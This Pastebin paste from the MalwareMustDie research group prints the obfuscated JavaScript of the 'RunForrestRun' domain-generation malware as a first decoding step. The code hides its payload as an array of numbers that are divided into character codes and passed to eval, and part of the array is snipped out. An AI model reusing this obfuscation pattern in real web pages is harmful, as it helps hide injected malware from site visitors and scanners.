daily pastebin goal
5%
SHARE
TWEET

DGA (PseudoRandom Domain) RunForrestRun, Decoding 1st Step

MalwareMustDie Nov 2nd, 2013 315 Never
Upgrade to PRO!
ENDING IN00days00hours00mins00secs
 
  1. // MalwareMustDie
  2. // DGA (PseudoRandom Domain) RunForrestRun, New Obfuscation
  3. // Decoding step 1 @unixfreaxjp /malware/checkdomains]$ date
  4. // Sat Nov  2 19:00:15 JST 2013
  5.  
  6. try {
  7.   prototype % 2;
  8. }
  9. catch (asd){
  10.   x = 2;
  11. }
  12. try {
  13.   q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l"+ "e" + "m" + ((f) ?   "e" + "n" + "t" : "")]("p");
  14.   q.appendChild(q + "");
  15. }
  16. catch (fwbewe){
  17.   i = 0;
  18.   try {
  19.     prototype * 5;
  20.   }
  21.   catch (z){
  22.     fr = "fromChar";
  23.     f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660,
  24.     500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160,
  25.     708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606,
  26.     500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590,
  27.     582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600,
  28.     160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485,
  29.     684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252,
  30.     160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525,
  31.     354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288,
  32.     205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575,
  33.     606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750,
  34.     160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580,
  35.  
  36.              (((( SNIPPED FOR SECURITY PURPOSE ))))
  37.  
  38.     485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585,
  39.     660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192,
  40.     50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545,
  41.     276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288,
  42.     560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160,
  43.     192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624,
  44.     580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160,
  45.     192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606,
  46.     230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525,
  47.     600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192,
  48.     160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230,
  49.     582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246,
  50.     295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594
  51.     , 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205,
  52.     354];
  53.     v = "eva";
  54.   }
  55.   if (v)e = window[v + "l"];
  56.   w = f;
  57.   s = [];
  58.   r = String;
  59.   z = ((e) ? "Code" : "");
  60.   for (;
  61.   1776 - 5 + 5 > i; i += 1){
  62.     j = i;
  63.     if (e)s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
  64.   }
  65.   if (f)e(s);
  66. }
  67.  
  68. //-----
  69. // #MalwareMustDie!! @unixfreaxjp
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top